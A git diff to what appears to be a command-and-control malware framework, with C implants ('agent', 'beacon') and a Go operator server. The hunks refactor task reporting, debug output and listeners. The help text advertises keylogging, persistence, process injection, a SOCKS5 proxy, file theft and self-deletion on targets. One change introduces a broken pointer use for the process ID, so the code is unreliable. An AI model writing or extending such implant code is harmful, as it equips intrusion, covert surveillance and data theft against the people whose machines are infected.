diff --git a/agent/agent.c b/agent/agent.c index a1d9a96..03d28ee 100644 --- a/agent/agent.c +++ b/agent/agent.c @@ -17,7 +17,7 @@ char startup_result[1024]; LARGE_INTEGER start, end, freq; #if TESTING_BUILD - char agentID[] = "Agent"; + char agentID[] = "TestAgent"; char* serverDomains[] = {"192.168.1.4"}; int startupDelay = 0; diff --git a/agent/commands.c b/agent/commands.c index 201272e..f2114bf 100644 --- a/agent/commands.c +++ b/agent/commands.c @@ -7,8 +7,10 @@ size_t STD_BUFF = 1024; size_t BIG_BUFF = 8192; +// Temporarily holds task id after parsing task message char* currentTaskID = NULL; +// Prototyping DWORD WINAPI StartKeylogger(void); DWORD WINAPI StartKeylogTimer(LPVOID lpParam); @@ -31,7 +33,8 @@ void SendTaskResult(Transport* transport, char* task_type, char* result) { if (currentTaskID != NULL) { taskID_len = strlen(currentTaskID); } else { - taskID_len = 0; + currentTaskID = "0"; + taskID_len = 1; } printf("Result: %s\n", result); @@ -121,15 +124,16 @@ void SendSysInfo(char* result) { char username[128] = {0}; char localIP[128] = {0}; char procname[128] = {0}; - unsigned long pid = 0; + unsigned long* pid = 0; CollectSystemInfo(osVersion, architecture, hostname, username, localIP, procname, &pid); + printf("PID: %lu\n", pid); char systemInfo[STD_BUFF]; snprintf(systemInfo, sizeof(systemInfo), "%s|%s|%s|%s|%s|%s|%lu", osVersion, architecture, hostname, username, localIP, procname, pid); - // printf("Sysinfo string: %s\n", systemInfo); + printf("Sysinfo string: %s\n", systemInfo); strcpy(result, systemInfo); // printf("Result: %s", result); diff --git a/agent/info.c b/agent/info.c index 787d7b2..c6a97fa 100644 --- a/agent/info.c +++ b/agent/info.c @@ -84,6 +84,9 @@ void CollectSystemInfo(char *osVersion, char *architecture, char *hostname, char procname[127] = '\0'; // Ensure null termination *pid = GetCurrentProcessId(); + + printf("Proc name: %s\n", procname); + printf("PID: %lu\n", *pid); // Architecture SYSTEM_INFO sysInfo; diff --git a/beacon/beacon.c b/beacon/beacon.c index db0e98e..bff9c63 100644 --- a/beacon/beacon.c +++ b/beacon/beacon.c @@ -12,7 +12,7 @@ char* currentTaskID = NULL; // For testing builds with make #if TESTING_BUILD - char beaconID[] = "Beacon"; + char beaconID[] = "TestBeacon"; char* server_domains[] = {"192.168.1.4","192.168.1.4","192.168.1.4"}; unsigned short startup_delay = 0; int reconnect_delay = 5678; @@ -59,6 +59,7 @@ void SendTaskResult(Transport* transport, char* task_type, char* result) { if (currentTaskID != NULL) { taskID_len = strlen(currentTaskID); } else { + currentTaskID = "0"; taskID_len = 0; } diff --git a/server/agent_modules.go b/server/agent_commands.go similarity index 97% rename from server/agent_modules.go rename to server/agent_commands.go index fb471ac..c2f2ea0 100644 --- a/server/agent_modules.go +++ b/server/agent_commands.go @@ -16,7 +16,7 @@ import ( ) // Handle information about system received from agent -func HandleSystemInfo(agentID string, agentIP, sysInfo string) { +func HandleSystemInfo(agentID, agentIP, sysInfo string) { infoLog("Received system info from agent %s ", agentID) messageParts := strings.Split(sysInfo, "|") if len(messageParts) < 7 { @@ -40,7 +40,7 @@ func HandleSystemInfo(agentID string, agentIP, sysInfo string) { } // Formats the raw CSV process data into a nice output -func FormatProcessListOutput(rawData string) string { +func FormatProcessListOutput(agentID, rawData, taskID string) { // Create a buffer for our formatted output var buffer bytes.Buffer @@ -89,7 +89,10 @@ func FormatProcessListOutput(rawData string) string { // Add a summary at the end buffer.WriteString(fmt.Sprintf("\n[+] Found %d processes\n", processCount)) - return buffer.String() + operatorConn, exists := taskHandler.GetOperatorConnByTaskID(agentID, taskID) + if exists { + operatorConn.Write([]byte(buffer.String())) + } } // Prepare and send encrypted module diff --git a/server/agent_manager.go b/server/agent_manager.go index 93888cb..ba8ab4a 100644 --- a/server/agent_manager.go +++ b/server/agent_manager.go @@ -62,11 +62,11 @@ func ParseAgentMessage(buffer string, n int, agentConn net.Conn) { agentIP := agentConn.RemoteAddr().String() // Print message only if it is not too big - if len(message) <= 128 { + if len(message) <= 256 { debugLog("Message from agent (%d bytes): \"%s\"", len(message), message) } else { // Print the first 512 characters and indicate truncation - truncated := message[:128] + "..." + truncated := message[:256] + "..." debugLog("Message from agent (%d bytes) (truncated): \n%s", len(message), truncated) } @@ -107,17 +107,14 @@ func ParseAgentMessage(buffer string, n int, agentConn net.Conn) { case "PROCESS": taskID := messageParts[2] debugLog("Task ID: %s", taskID) - if len(messageParts) == 4 { - formattedOutput := FormatProcessListOutput(messageParts[3]) - fmt.Println(formattedOutput) + FormatProcessListOutput(agentID, messageParts[3], taskID) } else { debugLog("Invalid process info message format") } case "TASKRESULT": taskID := messageParts[2] debugLog("Task ID: %s", taskID) - if len(messageParts) >= 3 { HandleTaskResult(agentID, messageParts[3], taskID) } else { @@ -228,6 +225,9 @@ func HandleTaskResult(agentID string, result string, taskID string) { infoLog("Task result is too big for printing") } + // Remove task from list + taskHandler.MarkTaskComplete(agentID, taskID, true) + message := agentID + ": " + result operatorConn, exists := taskHandler.GetOperatorConnByTaskID(agentID, taskID) diff --git a/server/listener_https.go b/server/listener_https.go index 0b1ff45..648a8d3 100644 --- a/server/listener_https.go +++ b/server/listener_https.go @@ -272,8 +272,8 @@ func ParseHTTPAgentMessage(w http.ResponseWriter, r *http.Request, message strin } case "PROCESS": if len(messageParts) == 3 { - formattedOutput := FormatProcessListOutput(messageParts[2]) - fmt.Println(formattedOutput) + taskID := messageParts[2] + FormatProcessListOutput(agentID, messageParts[2], taskID) } else { debugLog("Invalid process info message format") } diff --git a/server/listener_manager.go b/server/listener_manager.go index 63d79e3..1323317 100644 --- a/server/listener_manager.go +++ b/server/listener_manager.go @@ -71,7 +71,7 @@ func StartAgentListener(protocol string, hostSlice []string, port, name string, } } - // Start goroutine for TCP/SSL listeners or DNS server + // Start goroutine for TCP/SSL listeners or add to list DNS/HTTP servers if protocol == "ssl" { go AcceptAgentConnections(listener, name) AddListener(name, hostSlice, bindIP, port, protocol, listener, nil, nil) diff --git a/server/listener.go b/server/listener_ssl.go similarity index 100% rename from server/listener.go rename to server/listener_ssl.go diff --git a/server/operator_helper.go b/server/operator_helper.go index 66336a4..3159467 100644 --- a/server/operator_helper.go +++ b/server/operator_helper.go @@ -9,9 +9,9 @@ import ( ) var helpMessage string = ` -Commands: +Available commands: -Agent Management +Agent Management: agents List all agents that checked-in show agent Show information about certain agent @@ -25,22 +25,21 @@ Agent Management show modules Display all available modules with their details -Listeners +Listeners: listen Start a listener with the specified parameters - Usage: listen -t -h -p -n + Usage: listen -t ssl -h domain1.com,domain2.com -p 8443 -n listener_ssl_1 Flags: -t, --transport Transport protocol: tcp, ssl, or dns -h, --host Comma-separated list of hosts (round robin) -p, --port Port for the listener -n, --name Name for the listener - Usage: listen -t ssl -h domain1.com,domain2.com -p 8443 -n listener1 show listeners Show all active listeners stop listener Stop a specific listener by its name Usage: stop listener -Payload +Implants generation: generate Generate a payload for the specified agent type and listener Usage: generate agent|beacon [flags] Flags for agent: @@ -50,9 +49,10 @@ Payload --auto-persistence Add persistence module and launch it on start-up --keylogger Add keylogger module --auto-keylogger Add keylogger module and launch it on start-up + --proxy Add SOCKS5 proxy module --files Enable periodic file transfer -Tasks (Agent) +Tasks (Agent): sleep Set the connection interval (in seconds) for an agent Usage: sleep @@ -63,7 +63,9 @@ Tasks (Agent) Usage: powershell Get-Process cd Change directory (both / and \ paths work) - Usage: cd C:/Users/John/Downloads cd .. cd ../ + Usage: cd C:/Users/John/Downloads | cd .. | cd ../ + + ps Self explanatory ls, dir, pwd Self explanatory @@ -75,25 +77,39 @@ Tasks (Agent) sysinfo Retrieve system information from a target + inject Inject module into remote procedd + Usage: inject + + spawn Spawn new process and inject module into it + Usage: spawn [ppid] + files Download pre-defined files from target keylogger Launch/stop keylogger on target Usage: keylogger + proxy Start SOCKS5 proxy on target machine + Usage: proxy start|stop + persistence Add/remove persistence via local app data Usage: persistence - run Execute a module on a target - Usage: run + runexe Execute a module on a target + rundll Usage: runexe|rundll kill Stop agent's process cleanup Task agent to stop, remove all traces and self delete -Tasks (Beacon) - artifacts Retrieve artifacts from a target +Tasks (Beacon): + sleep Set the connection interval (in seconds) for an agent + Usage: sleep